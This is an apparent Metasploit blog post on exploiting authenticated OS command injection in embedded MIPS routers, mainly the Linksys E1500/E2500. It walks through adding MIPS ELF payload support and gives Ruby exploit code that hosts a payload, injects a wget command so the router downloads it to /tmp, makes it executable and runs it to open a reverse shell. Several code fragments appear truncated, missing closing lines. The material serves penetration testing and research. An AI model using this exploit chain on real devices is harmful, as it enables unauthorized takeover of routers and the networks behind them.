Compromising Embedded Linux Routers with Metasploit

Blog Post created by juan.vazquez Employee on Apr 5, 2013

Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. Maybe it's because access to these devices or the software running in top of them is not so easy. Maybe because usually they are based on MIPS architectures which hasn't get so much attention as x86 or ARM architectures. Or maybe because it's not so easy always to run the their software in a  controlled (debugged) fashion.


Fortunately, Michael Messner (aka m-1-k-3) is the exception, he isn't only doing an awesome work about vulnerability research on small Linux routers, but also doing a great work writing modules targeting these embedded devices in order to fingerprint devices, retrieve configuration files or getting shells. In this blog post we would like to share with all you a successful (spoiling!) trip until a shell which we did with m-1-k-3. The blog post also introduces some of the new improvements of Metasploit in order to speed exploit development on MIPS based devices.



This story started with m-1-k-3 doing some pull request for auxiliary modules achieving remote OS command execution in MIPS network-related embedded devices through their web interfaces:


  • #1618: Remote command execution on Netgear DGN2200B
  • #1636: Remote command execution on Netgear DGN1000B
  • #1640: Remote command execution on D-Link DIR-615


Unfortunately, after reviewing them and discussing the topic with other Metasploit developers, we asked m-1-k-3 to convert these auxiliary modules into remote exploits. Normally, after getting a way to execute arbitrary OS command it's more or less easy to get a Metasploit session and a working exploit. Exploits are preferred because Metasploit users benefit in two ways:


  1. They get easy and powerful interaction with the target through a session.
  2. They benefit from post-exploitation modules.


Unfortunately, it's usual on embedded devices to have available only a small set of OS commands through a restricted busybox shell and a few more tools. Here is, for example, the set of available commands on a DGN 1000B device:


[            br2684ctld    dmesg            igmp          ln          nbtscan      pppd                routed          udhcpd
[[          brctl        dnrd            import_ca.cgi  ls          netgear_ntp  pppoe              scfgmgr          umount
adslmod      busybox      dsl_cpe_control  init          lsmod      nvram        pppoe-relay        setup.cgi        upgrade_flash.cgi
aes-up.sh    cat          dsl_diag        insmod        md5sum      oamd        ps                  setupwizard.cgi  upload.cgi
ash          chmod        echo            iptables      mini_httpd  oamlbsearch  rc                  sh              wget
athcfg      cmd_agent_ap  ez-ipupdate      iptpat_util    miniupnpd  pb_ap        reboot              sleep            wifi_monitor
atmarp      conf          free            kill          mkdir      ping        restore_config.cgi  smtpc            wizard
atmarpd      cp            halt            killall        mknod      pot          rm                  syslogd          wpa_supplicant
atm_monitor  crond        hostapd          klogd          mount      potcounter  rmmod              test            wpatalk
br2684ctl    cut          ifconfig        lld2          mv          poweroff    route              udhcpc          wsc_det


After discussing the possibilities with @m-1-k-3 we concluded it wasn't a good idea to write CMD exploits for these devices, because of two points:


  1. In the best case we would need new payloads which would be device specific.
  2. Native payloads (and shell sessions) are more powerful than CMD payloads.


After discarding CMD type exploits, we switched to the possibility of staging from CMD to the execution of a native payload. Since it's usual to have tools such as wget, or alternative ways to download files from remote hosts to the embedded device, it sounded like a good option. In fact, sounded like a perfect solution for us. But there was another pitfall. There wasn't support to create MIPS ELF (nor big endian neither little endian) executables still in Metasploit, So the MIPS payloads couldn't be embedded into executable files programmatically. Fortunately add the support was as easier as:


1) Create tiny ELF templates for the MIPS architectures (little and big endian). In the case of MIPSLE something like:



org 0x00400000

ehdr:                            ; Elf32_Ehdr
  db    0x7F, "ELF", 1, 1, 1, 0  ;  e_ident
  db    0, 0, 0, 0,  0, 0, 0, 0  ;
  dw    2                        ;  e_type      = ET_EXEC for an executable
  dw    0x8                      ;  e_machine    = MIPS
  dd    1                        ;  e_version
  dd    _start                  ;  e_entry
  dd    phdr - $$                ;  e_phoff
  dd    0                        ;  e_shoff
  dd    0                        ;  e_flags
  dw    ehdrsize                ;  e_ehsize
  dw    phdrsize                ;  e_phentsize
  dw    1                        ;  e_phnum
  dw    0                        ;  e_shentsize
  dw    0                        ;  e_shnum
  dw    0                        ;  e_shstrndx

ehdrsize equ  $ - ehdr

phdr:                            ; Elf32_Phdr
  dd    1                        ;  p_type      = PT_LOAD
  dd    0                        ;  p_offset
  dd    $$                      ;  p_vaddr
  dd    $$                      ;  p_paddr
  dd    0xDEADBEEF              ;  p_filesz
  dd    0xDEADBEEF              ;  p_memsz
  dd    7                        ;  p_flags      = rwx
  dd    0x1000                  ;  p_align

phdrsize equ  $ - phdr



2) Add support to MSF::Util::EXE to have into account the new templates, so MIPS ELF executables could be created through the use of the mixin, by calling the Msf::Util::Exe.to_executable() API. Or also through the Msf::Exploit::EXE mixin, by calling its generate_payload_exe() method. If you would like to review, exactly, how the support was added you can check the next pull requests:


  • #1666: Support for MIPSLE ELF.
  • #1671: Support for MIPSBE ELF.


With the support for MIPS ELF executables available on Msf::Util::EXE it's just a matter of coding to have available these awesome embedded devices exploits. And m-1-k-3 started writing the first of (we hope!) a long serie of embedded devices exploits. In this first module an authenticated os command injection, on the Web Interface of the Linksys E1500/E2500 Wireless routers, is abused. The vulnerability details can be found in the original advisory. And the full exploit writing history can be found in the next pull request: "#1688: Linksys E1500/E2500 Remote Command Execution". As a summary, in order to execute the shell payloads the staging is accomplished by:


1) Create a MIPS ELF with the payload to execute after include the Msf::Exploit::EXE mixin:


@pl = generate_payload_exe


2) Start a Web Server (or use an external one).


# start our server
resource_uri = '/' + downfile

if (datastore['DOWNHOST'])
  service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
  #do not use SSL
  if datastore['SSL']
  ssl_restore = true
  datastore['SSL'] = false

  #we use SRVHOST as download IP for the coming wget command.
  #SRVHOST needs a real IP address of our download host
  if (datastore['SRVHOST'] == "" or datastore['SRVHOST'] == "::")
  srv_host = Rex::Socket.source_address(rhost)
  srv_host = datastore['SRVHOST']

  service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
  print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
  'Proc' => Proc.new { |cli, req|
  on_request_uri(cli, req)
  'Path' => resource_uri

  datastore['SSL'] = true if ssl_restore


3) Use the Web Server to sent the ELF with the embedded payload on new requests:


# Handle incoming requests from the server
def on_request_uri(cli, request)
  #print_status("on_request_uri called: #{request.inspect}")
  if (not @pl)
  print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
  print_status("#{rhost}:#{rport} - Sending the payload to the server...")
  @elf_sent = true
  send_response(cli, @pl)


4) Exploit the remote OS command injection to download the MIPS ELF payload with the available wget tool:

# download payload
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

5) Exploit the remote OS command injection to give execution permissions to the downloaded binary:

# chmod
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

6) Exploit the remote OS command injection to execute the downloaded binary:

# execute
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

7) Enjoy! After a long and funny trip now we can enjoy Linksys E1500 shells (thanks m-1-k-3!):


Linksys E1500 reverse shell session (shared by m-1-k-3)


Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.